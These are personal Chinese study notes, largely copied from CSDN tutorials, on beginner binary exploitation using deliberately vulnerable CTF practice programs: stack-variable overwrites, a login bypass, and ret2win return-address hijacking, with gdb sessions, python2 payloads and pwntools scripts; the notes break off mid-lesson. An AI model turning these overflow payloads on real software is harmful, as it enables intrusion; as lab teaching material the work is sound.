【Pvvn】可能是学习笔记吧


目录

[TOC]


240922

用简单易懂的话语来快速入门windows缓冲区溢出_vulnserver-CSDN博客 因为kali环境没好所以先放着【画饼数:1】


PWN入门(1)基础知识和环境设置-CSDN博客

内容基本来源博客,仅cv存储自己看

所需环境

  • gdb √
  • pwndbg √
  • pwntools √

缓冲区溢出

Buffer Overflow Attack

  • 在进行缓冲区溢出攻击后,缓冲区(buffer)里的字符向上溢出到了返回函数,从而导致程序错误
  • 还可以利用这个返回地址达到远程入侵的目的

动态调试

  • 要下载的库:https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101

gets函数

  • 永远不要使用gets函数,因为如果事先不知道数据,gets将就无法判断读取多少个字符
  • 因为gets将继续存储字符当超过缓冲区的末端,使用它是极其危险的,它会破坏计算机安全
  • 请改用fgets。

程序信息

  • 查看编译后的文件信息

    1
    file vuln
    1
    2
    3
    file vuln

    --> vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=40bfd0a2a6007a83be654c0626aedb3bc95a133f, for GNU/Linux 3.2.0, not stripped
    1
    2
    3
    4
    5
    --> 这是一个32位的可执行程序
    --> intel x86架构
    --> 动态链接
    --> 没有开启stripped,意思是如果我们用gdb去调试这个程序,可以看到函数名称,可以更方便的分析程序
    --> 链接库地址为/lib/ld-linux.so.2
  • 使用checksec 工具可以查看程序更详细的信息

    1
    2
    3
    4
    5
    6
    7
    8
    [*] '/home/xaut/Desktop/baimaoTutorial/crypto-cat-ctf/pwn/binary_exploitation_101/00-intro_setup_basics/vuln'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX unknown - GNU_STACK missing
    PIE: No PIE (0x8048000)
    Stack: Executable
    RWX: Has RWX segments
    1
    2
    3
    4
    5
    6
    32位程序
    部分RELRO,基本上所有程序都默认的有这个
    没有开启栈保护
    未启用nx,nx:数据执行
    没有pie,意思是程序的内存空间不会被随机化
    有读,写,和执行的段,意思是我们可以在程序里写入shellcode
  • 尝试执行程序

    1
    2
    3
    4
    5
    6
    chmod +x vuln
    ./vuln

    Give me data plz:
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    [1] 27961 segmentation fault (core dumped) ./vuln

使用gdb调试程序

  • 使用gdb来动态调试程序
1
gdb vuln
  • 查看程序里所有调用的函数
1
info functions
  • 查看主函数main的汇编代码
1
disassemble main
  • main函数开头下一个断点便于调试【程序运行到断点处会停下来】,run运行程序
1
2
b main
run

image-20240922195822198

  • 第一段是显示了寄存器里的所有内容,寄存器是内存中非常靠近cpu的区域,因此cpu可以快速访问它们,但是在这些寄存器里面能存储的东西非常有限

image-20240922195923832

  • 第二段是当前程序停下来的位置和程序的汇编代码地址

image-20240922195956903

  • 第三段是查看当前堆栈里的内容

  • 执行下一个汇编指令:nextn

1
next

image-20240922200242728

  • 输入一大堆aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,发现寄存器的值都被a覆盖
  • 最重要的是EIP这个寄存器
    • 是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数
    • 控制了这个指针,就能控制整个程序的运行

静态调试

了解一下

  • 在linux里,我们可以使用ghidra这个工具来静态调试程序
    下载地址:
1
https://github.com/NationalSecurityAgency/ghidra
  • 相关文章(Ghidra逆向分析工具使用与实战):
1
https://blog.csdn.net/qq_45894840/article/details/124556441?spm=1001.2014.3001.5502

PWN入门(2)利用缓冲区溢出绕过登录和第一个PwnTools脚本_pwn脚本-CSDN博客

内容基本来源博客,仅cv存储自己看

利用缓冲区溢出绕过登录

1
2
3
4
5
6
7
8
9
chmod +x login
./login


Enter admin password:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Incorrect Password!
Successfully logged in as Admin (authorised=1633771873) :)
[1] 32595 segmentation fault (core dumped) ./login
  • 用ltrace来跟踪进程调用库函数的情况

    这条命令会追踪 ./login 程序执行过程中调用的所有动态库函数,并显示函数的名称、参数和返回值

1
ltrace ./login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
./login
Enter admin password:
pass
Correct Password!
Successfully logged in as Admin (authorised=1) :)


./login
Enter admin password:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Incorrect Password!
Successfully logged in as Admin (authorised=1633771873) :)
[1] 33436 segmentation fault (core dumped) ./login

  • 程序报错,授权号码也变得很大

  • 输入正确的密码时,授权号码为1

  • 一个一个字符测试程序的缓冲区边界

  • 查看源代码

1
vim login.c

静态分析

  • ghidra

动态分析

  • gdb打开login
1
gdb login
  • 查看程序里调用的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 strcmp@plt
0x08049040 printf@plt
0x08049050 gets@plt
0x08049060 puts@plt
0x08049070 __libc_start_main@plt
0x08049080 _start
0x080490c0 _dl_relocate_static_pie
0x080490d0 __x86.get_pc_thunk.bx
0x080490e0 deregister_tm_clones
0x08049120 register_tm_clones
0x08049160 __do_global_dtors_aux
0x08049190 frame_dummy
0x08049192 main
0x08049260 __libc_csu_init
0x080492c0 __libc_csu_fini
0x080492c1 __x86.get_pc_thunk.bp
0x080492c8 _fini

  • 查看main函数的汇编代码
1
disassemble main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
gef➤  disassemble main
Dump of assembler code for function main:
0x08049192 <+0>: lea ecx,[esp+0x4]
0x08049196 <+4>: and esp,0xfffffff0
0x08049199 <+7>: push DWORD PTR [ecx-0x4]
0x0804919c <+10>: push ebp
0x0804919d <+11>: mov ebp,esp
0x0804919f <+13>: push ebx
0x080491a0 <+14>: push ecx
0x080491a1 <+15>: sub esp,0x10
0x080491a4 <+18>: call 0x80490d0 <__x86.get_pc_thunk.bx>
0x080491a9 <+23>: add ebx,0x2e57
0x080491af <+29>: mov DWORD PTR [ebp-0xc],0x0
0x080491b6 <+36>: sub esp,0xc
0x080491b9 <+39>: lea eax,[ebx-0x1ff8]
0x080491bf <+45>: push eax
0x080491c0 <+46>: call 0x8049060 <puts@plt>
0x080491c5 <+51>: add esp,0x10
0x080491c8 <+54>: sub esp,0xc
0x080491cb <+57>: lea eax,[ebp-0x12]
0x080491ce <+60>: push eax
0x080491cf <+61>: call 0x8049050 <gets@plt>
0x080491d4 <+66>: add esp,0x10
0x080491d7 <+69>: sub esp,0x8
0x080491da <+72>: lea eax,[ebx-0x1fe1]
0x080491e0 <+78>: push eax
0x080491e1 <+79>: lea eax,[ebp-0x12]
0x080491e4 <+82>: push eax
0x080491e5 <+83>: call 0x8049030 <strcmp@plt>
0x080491ea <+88>: add esp,0x10
0x080491ed <+91>: test eax,eax
0x080491ef <+93>: jne 0x804920c <main+122>
0x080491f1 <+95>: sub esp,0xc
0x080491f4 <+98>: lea eax,[ebx-0x1fdc]
0x080491fa <+104>: push eax
0x080491fb <+105>: call 0x8049060 <puts@plt>
0x08049200 <+110>: add esp,0x10
0x08049203 <+113>: mov DWORD PTR [ebp-0xc],0x1
0x0804920a <+120>: jmp 0x804921e <main+140>
0x0804920c <+122>: sub esp,0xc
0x0804920f <+125>: lea eax,[ebx-0x1fca]
0x08049215 <+131>: push eax
0x08049216 <+132>: call 0x8049060 <puts@plt>
0x0804921b <+137>: add esp,0x10
0x0804921e <+140>: cmp DWORD PTR [ebp-0xc],0x0
0x08049222 <+144>: je 0x804923b <main+169>
0x08049224 <+146>: sub esp,0x8
0x08049227 <+149>: push DWORD PTR [ebp-0xc]
0x0804922a <+152>: lea eax,[ebx-0x1fb4]
0x08049230 <+158>: push eax
0x08049231 <+159>: call 0x8049040 <printf@plt>
0x08049236 <+164>: add esp,0x10
0x08049239 <+167>: jmp 0x8049250 <main+190>
0x0804923b <+169>: sub esp,0x8
0x0804923e <+172>: push DWORD PTR [ebp-0xc]
0x08049241 <+175>: lea eax,[ebx-0x1f80]
0x08049247 <+181>: push eax
0x08049248 <+182>: call 0x8049040 <printf@plt>
0x0804924d <+187>: add esp,0x10
0x08049250 <+190>: mov eax,0x0
0x08049255 <+195>: lea esp,[ebp-0x8]
0x08049258 <+198>: pop ecx
0x08049259 <+199>: pop ebx
0x0804925a <+200>: pop ebp
0x0804925b <+201>: lea esp,[ecx-0x4]
0x0804925e <+204>: ret

  • 注意到:
1
0x0804921e <+140>:	cmp    DWORD PTR [ebp-0xc],0x0
  • 在这个对比指令的地址下一个断点,查看程序对比的流程
1
2
b *0x0804921e
run
  • 运行后结果:
1
→  0x804921e <main+008c>      cmp    DWORD PTR [ebp-0xc], 0x0
  • 这里将ebp寄存器里的值减去了0xc转换成10进制,就是12和0做了对比

  • 查看这个地址的值

1
x $ebp - 0xc
1
2
x $ebp - 0xc
0xffffcaac: 0x00000000
  • 修改这里的值,使程序不进行跳转
1
set *0xffffcaac = 1
  • 输入r重新运行程序
1
r
  • 查看对比值
1
2
gef➤  x $ebp - 0xc
0xffffcaac: 0x00000041
  • 写一个脚本
1
2
z = "AAAAAAA"
print(z + "\x01")
  • 保存后用python3运行
1
python3 exp.py | ./login
  • 运行结果
1
2
3
4
5
6
vim exp.py              
python3 exp.py | ./login

Enter admin password:
Incorrect Password!
Successfully logged in as Admin (authorised=1) :)

第一个pwntools脚本

1
2
3
4
5
6
7
from pwn import *   //导入pwntools模块

io = process('./login') //运行程序

io.sendlineafter(b':', b'AAAAAA'+b"\x01") //在程序输出":"后发送指定字符

print(io.recvall().decode()) //接收输出并且解码

240924

PWN入门(3)覆盖堆栈上的变量_栈怎么覆盖一个变量使它等于2000-CSDN博客


覆盖堆栈上的变量

静态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void do_input(){
int key = 0x12345678; //定义了一个变量key,key的值为0x12345678
char buffer[32]; //定义了一个变量,名为buffer,有32个字节的缓冲区
printf("yes? "); //输出字符串yes?
fflush(stdout); //清除缓冲区
gets(buffer); //获取我们输入的字符,并存入到buffer变量里
if(key == 0xdeadbeef){ //如果key = 0xdeadbeef
printf("good job!!\n");
printf("%04x\n", key);
fflush(stdout); //成功破解程序
}
else{ //否则失败
printf("%04x\n", key);
printf("...\n");
fflush(stdout);
}
}

int main(int argc, char* argv[]){
do_input();
return 0;
}
1
2
3
4
5
(pwn) ➜  python3 -c 'print ("A"*32)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(pwn) ➜ 02-overwriting_stack_variables_part2 git:(master) ✗ unhex 42424242
BBBB%
  • 'print ("A"*32)' 是要执行的 Python 代码,它创建了一个由 32 个 “A” 字符组成的字符串,并将其打印出来

    • -c 参数告诉 Python 解释器直接从命令行参数中读取并执行一段代码
  • unhex:将一个十六进制数转换为对应的 ASCII 字符或其他表示形式

  • 由源代码可知,key的值必须等于十六进制的0xdeadbeef才能输出正确的字符,这种十六进制无法用键盘输入,需要用到python

  • 一个知识点:在x86架构里,读取地址是由低到高的,十六进制0xdeadbeef就要从最后一个开始写

1
python2 -c "print ('A' * 32 + '\xef\xbe\xad\xde')"
  • 然后用linux管道符连接程序
1
python2 -c "print ('A' * 32 + '\xef\xbe\xad\xde')" | ./overwrite

动态调试

  • 用gdb
1
gdb overwrite
  • 查看程序里调用的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gef➤  info functions

All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 fflush@plt
0x08049050 gets@plt
0x08049060 puts@plt
0x08049070 __libc_start_main@plt
0x08049080 _start
0x080490c0 _dl_relocate_static_pie
0x080490d0 __x86.get_pc_thunk.bx
0x080490e0 deregister_tm_clones
0x08049120 register_tm_clones
0x08049160 __do_global_dtors_aux
0x08049190 frame_dummy
0x08049192 do_input
0x08049267 main
0x08049283 __x86.get_pc_thunk.ax
0x08049290 __libc_csu_init
0x080492f0 __libc_csu_fini
0x080492f1 __x86.get_pc_thunk.bp
0x080492f8 _fini
  • 查看主函数do_input的汇编代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
gef➤  disassemble do_input 

Dump of assembler code for function do_input:
0x08049192 <+0>: push ebp
0x08049193 <+1>: mov ebp,esp
0x08049195 <+3>: push ebx
0x08049196 <+4>: sub esp,0x34
0x08049199 <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx>
0x0804919e <+12>: add ebx,0x2e62
0x080491a4 <+18>: mov DWORD PTR [ebp-0xc],0x12345678
0x080491ab <+25>: sub esp,0xc
0x080491ae <+28>: lea eax,[ebx-0x1ff8]
0x080491b4 <+34>: push eax
0x080491b5 <+35>: call 0x8049030 <printf@plt>
0x080491ba <+40>: add esp,0x10
0x080491bd <+43>: mov eax,DWORD PTR [ebx-0x4]
0x080491c3 <+49>: mov eax,DWORD PTR [eax]
0x080491c5 <+51>: sub esp,0xc
0x080491c8 <+54>: push eax
0x080491c9 <+55>: call 0x8049040 <fflush@plt>
0x080491ce <+60>: add esp,0x10
0x080491d1 <+63>: sub esp,0xc
0x080491d4 <+66>: lea eax,[ebp-0x2c]
0x080491d7 <+69>: push eax
0x080491d8 <+70>: call 0x8049050 <gets@plt>
0x080491dd <+75>: add esp,0x10
0x080491e0 <+78>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x080491e7 <+85>: jne 0x8049226 <do_input+148>
0x080491e9 <+87>: sub esp,0xc
0x080491ec <+90>: lea eax,[ebx-0x1ff2]
0x080491f2 <+96>: push eax
0x080491f3 <+97>: call 0x8049060 <puts@plt>
0x080491f8 <+102>: add esp,0x10
0x080491fb <+105>: sub esp,0x8
0x080491fe <+108>: push DWORD PTR [ebp-0xc]
0x08049201 <+111>: lea eax,[ebx-0x1fe7]
0x08049207 <+117>: push eax
0x08049208 <+118>: call 0x8049030 <printf@plt>
0x0804920d <+123>: add esp,0x10
0x08049210 <+126>: mov eax,DWORD PTR [ebx-0x4]
0x08049216 <+132>: mov eax,DWORD PTR [eax]
0x08049218 <+134>: sub esp,0xc
0x0804921b <+137>: push eax
0x0804921c <+138>: call 0x8049040 <fflush@plt>
0x08049221 <+143>: add esp,0x10
0x08049224 <+146>: jmp 0x8049261 <do_input+207>
0x08049226 <+148>: sub esp,0x8
0x08049229 <+151>: push DWORD PTR [ebp-0xc]
0x0804922c <+154>: lea eax,[ebx-0x1fe7]
0x08049232 <+160>: push eax
0x08049233 <+161>: call 0x8049030 <printf@plt>
0x08049238 <+166>: add esp,0x10
0x0804923b <+169>: sub esp,0xc
0x0804923e <+172>: lea eax,[ebx-0x1fe1]
0x08049244 <+178>: push eax
0x08049245 <+179>: call 0x8049060 <puts@plt>
0x0804924a <+184>: add esp,0x10
0x0804924d <+187>: mov eax,DWORD PTR [ebx-0x4]
0x08049253 <+193>: mov eax,DWORD PTR [eax]
0x08049255 <+195>: sub esp,0xc
0x08049258 <+198>: push eax
0x08049259 <+199>: call 0x8049040 <fflush@plt>
0x0804925e <+204>: add esp,0x10
0x08049261 <+207>: nop
0x08049262 <+208>: mov ebx,DWORD PTR [ebp-0x4]
0x08049265 <+211>: leave
0x08049266 <+212>: ret
End of assembler dump.
  • 此处key的值和输入值做对比
1
0x080491e0 <+78>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
  • 下一个断点
1
b *0x080491e0
  • 启动程序,输入一些值,然后程序自动运行至断点处停下
1
run
1
0x80491e0 <do_input+004e>  cmp    DWORD PTR [ebp-0xc], 0xdeadbeef
  • 这里将ebp寄存器里的值减去了0xc转换成10进制,就是120xdeadbeef做了对比

  • 查看这个地址的值

1
2
3
gef➤  x $ebp - 0xc

0xffffca9c: 0x12345678
  • 直接修改这个地址的值
1
set *0xffffca9c = 0xdeadbeef
  • 再次查看这个地址的值
1
2
3
gef➤  set *0xffffca9c = 0xdeadbeef
gef➤ x $ebp - 0xc
0xffffca9c: 0xdeadbeef
  • 输入n继续执行程序,直到运行到call,成功运行程序
1
2
3
4
puts@plt (
[sp + 0x0] = 0x0804a00e → "good job!!",
[sp + 0x4] = 0x00000018
)

pwntools脚本

1
2
3
4
5
from pwn import *   //导入pwntools模块

io = process('./overwrite') //运行程序
io.sendline(b'A' * 32 + p32(0xdeadbeef)) //程序运行后发送指定的字符串,格式为32
print(io.recvall().decode()) //接收输出并且解码
1
2
3
4
5
6
--> python3 exp.py
[+] Starting local process './overwrite': pid 6112
[+] Receiving all data: Done (25B)
[*] Process './overwrite' stopped with exit code 0 (pid 6112)
yes? good job!!
deadbeef
1
2
3
4
来自ai的解析:	
由于 gets() 不检查缓冲区的边界,如果输入的数据长度超过了 buffer 的大小(即32个字节),则会导致缓冲区溢出,进而可能覆盖 buffer 后面的内存空间中的数据。在这个例子中,key 变量正好位于 buffer 之后,因此可以通过精心构造的输入来覆盖 key 的值
恶意输入的数据布局:
由于 buffer 和 key 在栈中的相对位置是连续的,缓冲区溢出会让 32 个 A 字符填满 buffer,接下来的 0xdeadbeef 就会直接覆盖 key 的值

PWN入门(4)覆盖程序函数的返回地址_pwn是什么意思-CSDN博客


覆盖程序函数的返回地址(ret2win)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>

void hacked()
{
printf("This function is TOP SECRET! How did you get in here?! :O\n"); //成功破解的字符
}

void register_name()
{
char buffer[16]; //定义了一个变量,名为buffer,有16个字节的缓冲区

printf("Name:\n"); //输出字符"Name:
scanf("%s", buffer); //获取我们输入的字符,并存入到buffer变量里
printf("Hi there, %s\n", buffer); //输出字符Hi there和我们输入的变量
}

int main()
{
register_name(); //调用上面的register_name自定义函数

return 0;
}
  • 目标:让程序调用hacked自定义函数里的内容

动态调试

  • gdb
1
gdb ret2win
  • 查看程序里的函数
1
info functions
  • 查看主函数register_name的汇编代码
1
disassemble register_name
  • 输入命令cyclic就能获得测试用的字符串
1
2
(pwn) ➜ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

作用:生成100个字符串,每四个字符的最后一个字符都不一样,用于测试覆盖程序的返回地址需要多少个字符

  • 输入run运行程序
1
2
3
4
5
6
7
8
9
10
11
12
13
$eax   : 0x6f      
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0x0
$esp : 0xffffcb20 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x08049230 → <__libc_csu_init+0000> push ebp
$edi : 0xf7ffcb60 → 0x00000000
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
  • 显示:程序报错,里面原本的参数全被输入值覆盖

  • 注意:ret指令

    • ret是子程序的返回指令,原本要返回main函数,结果被覆盖,返回到其他不存在的地址,于是程序报错
  • EIP:程序的指针

    • 指针寻找地址,指到什么地址,就会运行该地址的参数
    • 控制了这个指针,就能控制整个程序的运行
  • eip寄存器里的值是haaa的十六进制,查一下haaa在生成字符串第几个

1
2
--> cyclic -l haaa
28

说明要覆盖eip原本的返回地址并控制

就需要28个字符+想让程序跳转执行的地址

  • 再次查看程序调用的函数地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 puts@plt
0x08049050 __libc_start_main@plt
0x08049060 __isoc99_scanf@plt
0x08049070 _start
0x080490b0 _dl_relocate_static_pie
0x080490c0 __x86.get_pc_thunk.bx
0x080490d0 deregister_tm_clones
0x08049110 register_tm_clones
0x08049150 __do_global_dtors_aux
0x08049180 frame_dummy
0x08049182 hacked
0x080491ad register_name
0x08049203 main
0x0804921f __x86.get_pc_thunk.ax
0x08049230 __libc_csu_init
0x08049290 __libc_csu_fini
0x08049291 __x86.get_pc_thunk.bp
0x08049298 _fini
1
0x08049182  hacked

hacked函数的地址为0x08049182

破解程序

  • python生成字符

  • 一个知识点:

    • x86架构里,读取地址是由低到高的
    • 十六进制0x08049182就要从最后一个开始写
  • 将输出值放到一个文件里

1
python2 -c "print 'A'*28+'\x82\x91\x04\x08'" > exp
  • 运行程序,导入这个文件里的值
1
./ret2win < exp
1
2
3
4
(pwn) ➜ python2 -c "print 'A'*28 + '\x82\x91\x04\x08'" > exp
(pwn) ➜ ./ret2win < exp
This function is TOP SECRET! How did you get in here?! :O
[1] 6907 segmentation fault (core dumped) ./ret2win < exp

gdb调试

1
gdb ret2win
  • 在主函数register_name最后一条汇编指令的地址下一个断点,看程序里发生什么
1
2
disassemble register_name
b *0x08049202
  • 导入存放字符的文件后直接运行
1
2
3
4
5
6
7
8
9
run < exp

●→ 0x8049202 <register_name+0055> ret
↳ 0x8049182 <hacked+0000> push ebp
0x8049183 <hacked+0001> mov ebp, esp
0x8049185 <hacked+0003> push ebx
0x8049186 <hacked+0004> sub esp, 0x4
0x8049189 <hacked+0007> call 0x804921f <__x86.get_pc_thunk.ax>
0x804918e <hacked+000c> add eax, 0x2e72
  • 发现:
    • 程序原本的值是main函数的地址然后退出程序,现在被我覆盖成hacked函数的地址
    • 于是程序就返回到hacked地址执行指令

pwntools脚本

1
2
3
4
5
from pwn import *   # 导入pwntools模块

io = process('./ret2win') # 运行程序
io.sendline(b'A' * 28 + p32(0x08049182)) # 程序运行后发送指定的字符串,格式为32位
print(io.recvall()) # 接收输出
  • 执行脚本
1
2
3
4
5
(pwn) ➜ python3 exp.py
[+] Starting local process './ret2win': pid 7216
[+] Receiving all data: Done (107B)
[*] Process './ret2win' stopped with exit code -11 (SIGSEGV) (pid 7216)
b'Name:\nHi there, AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82\x91\x04\x08\nThis function is TOP SECRET! How did you get in here?! :O\n'

32位程序与64位程序和构造ROP链

PWN入门(5)32位程序与64位程序和构造ROP链_ropper rop链构造-CSDN博客


32位

1
2
3
4
5
6
7
8
9
(pwn) ➜  checksec ret2win_params
[*] '/home/xaut/Desktop/baimaoTutorial/crypto-cat-ctf/pwn/binary_exploitation_101/04-ret2win_with_params/32-bit/ret2win_params'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
1
2
3
4
5
(pwn) ➜  ./ret2win_params       
Name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hi there, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 7626 segmentation fault (core dumped) ./ret2win_params

程序报错退出了,报错的信息是分段错误,可能造成了缓冲区溢出

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>

void hacked(int first, int second) //自定义的hacked函数,我们需要让程序执行这个函数才算破解程序
{
if (first == 0xdeadbeef && second == 0xc0debabe){ //需要同时满足first = 0xdeadbeef和second = 0xc0debabe
printf("This function is TOP SECRET! How did you get in here?! :O\n"); //破解程序
}else{
printf("Unauthorised access to secret function detected, authorities have been alerted!!\n"); //破解失败
}

return;
}

void register_name() //自定义register_name函数,是程序主要执行的地方
{
char buffer[16]; //定义了一个变量,名为buffer,有16个字节的缓冲区

printf("Name:\n"); //输出字符"Name:
scanf("%s", buffer); //获取我们输入的字符,并存入到buffer变量里
printf("Hi there, %s\n", buffer); //输出字符Hi there和我们输入的变量
}

int main()
{
register_name(); //调用上面的register_name自定义函数

return 0;
}

静态调试

  • ubuntu上用ghidra,巨难用,跳过了
  • 之后做题就win拖拽文件到ida,不用虚拟机分析了

动态调试

1
gdb ret2win_params
  • 查看程序里的函数
1
info functions
  • 输入命令cyclic获得测试用的字符串
1
2
(pwn) ➜ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

生成200个字符串,每四个字符的最后一个字符都不一样

用于测试覆盖程序的返回地址需要多少个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
$eax   : 0xd3      
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x0
$edx : 0x0
$esp : 0xffffcad0 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x08049250 → <__libc_csu_init+0000> push ebp
$edi : 0xf7ffcb60 → 0x00000000
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
  • 显示:程序报错,里面原本的参数全被输入值覆盖

  • 注意:ret指令

    • ret是子程序的返回指令,原本要返回main函数,结果被覆盖,返回到其他不存在的地址,于是程序报错
  • EIP:程序的指针

    • 指针寻找地址,指到什么地址,就会运行该地址的参数
    • 控制了这个指针,就能控制整个程序的运行
  • eip寄存器里的值是haaa的十六进制,查一下haaa在生成字符串第几个

1
2
--> cyclic -l haaa
28

说明要覆盖eip原本

  • eip寄存器里的值是haaa的十六进制,查一下haaa在生成字符串第几个
1
2
--> cyclic -l haaa
28

说明要覆盖eip原本的返回地址并控制

就需要28个字符+想让程序跳转执行的地址

  • 再次查看程序调用的函数地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 puts@plt
0x08049050 __libc_start_main@plt
0x08049060 __isoc99_scanf@plt
0x08049070 _start
0x080490b0 _dl_relocate_static_pie
0x080490c0 __x86.get_pc_thunk.bx
0x080490d0 deregister_tm_clones
0x08049110 register_tm_clones
0x08049150 __do_global_dtors_aux
0x08049180 frame_dummy
0x08049182 hacked
0x080491ad register_name
0x08049203 main
0x0804921f __x86.get_pc_thunk.ax
0x08049230 __libc_csu_init
0x08049290 __libc_csu_fini
0x08049291 __x86.get_pc_thunk.bp
0x08049298 _fini
1
0x08049182  hacked

hacked函数的地址为0x08049182

写一个脚本让程序跳转到这个地址

  • x86架构里,读取地址是由低到高的,十六进制0x08049182就要从最后一个开始写,然后将输出的值存放到一个文件里
1
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'BBBB'+'CCCC'+'DDDD'" > exp
  • register_name函数的最后ret指令处下一个断点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gef➤  disassemble register_name 
Dump of assembler code for function register_name:
0x080491d5 <+0>: push ebp
0x080491d6 <+1>: mov ebp,esp
0x080491d8 <+3>: push ebx
0x080491d9 <+4>: sub esp,0x14
0x080491dc <+7>: call 0x80490c0 <__x86.get_pc_thunk.bx>
0x080491e1 <+12>: add ebx,0x2e1f
0x080491e7 <+18>: sub esp,0xc
0x080491ea <+21>: lea eax,[ebx-0x1f6b]
0x080491f0 <+27>: push eax
0x080491f1 <+28>: call 0x8049040 <puts@plt>
0x080491f6 <+33>: add esp,0x10
0x080491f9 <+36>: sub esp,0x8
0x080491fc <+39>: lea eax,[ebp-0x18]
0x080491ff <+42>: push eax
0x08049200 <+43>: lea eax,[ebx-0x1f65]
0x08049206 <+49>: push eax
0x08049207 <+50>: call 0x8049060 <__isoc99_scanf@plt>
0x0804920c <+55>: add esp,0x10
0x0804920f <+58>: sub esp,0x8
0x08049212 <+61>: lea eax,[ebp-0x18]
0x08049215 <+64>: push eax
0x08049216 <+65>: lea eax,[ebx-0x1f62]
0x0804921c <+71>: push eax
0x0804921d <+72>: call 0x8049030 <printf@plt>
0x08049222 <+77>: add esp,0x10
0x08049225 <+80>: nop
0x08049226 <+81>: mov ebx,DWORD PTR [ebp-0x4]
0x08049229 <+84>: leave
0x0804922a <+85>: ret
End of assembler dump.

gef➤ b *0x0804922a
Breakpoint 1 at 0x804922a
1
2
3
4
5
6
7
8
9
run < exp

●→ 0x804922a <register_name+0055> ret
↳ 0x8049182 <hacked+0000> push ebp
0x8049183 <hacked+0001> mov ebp, esp
0x8049185 <hacked+0003> push ebx
0x8049186 <hacked+0004> sub esp, 0x4
0x8049189 <hacked+0007> call 0x8049247 <__x86.get_pc_thunk.ax>
0x804918e <hacked+000c> add eax, 0x2e72
  • 成功覆盖了原本的返回地址
  • 一直按ncmp这一行
1
→  0x8049193 <hacked+0011>    cmp    DWORD PTR [ebp+0x8], 0xdeadbeef
  • 查看这个寄存器里的值
1
2
gef➤  x $ebp + 8
0xffffcad4: 0x42424242

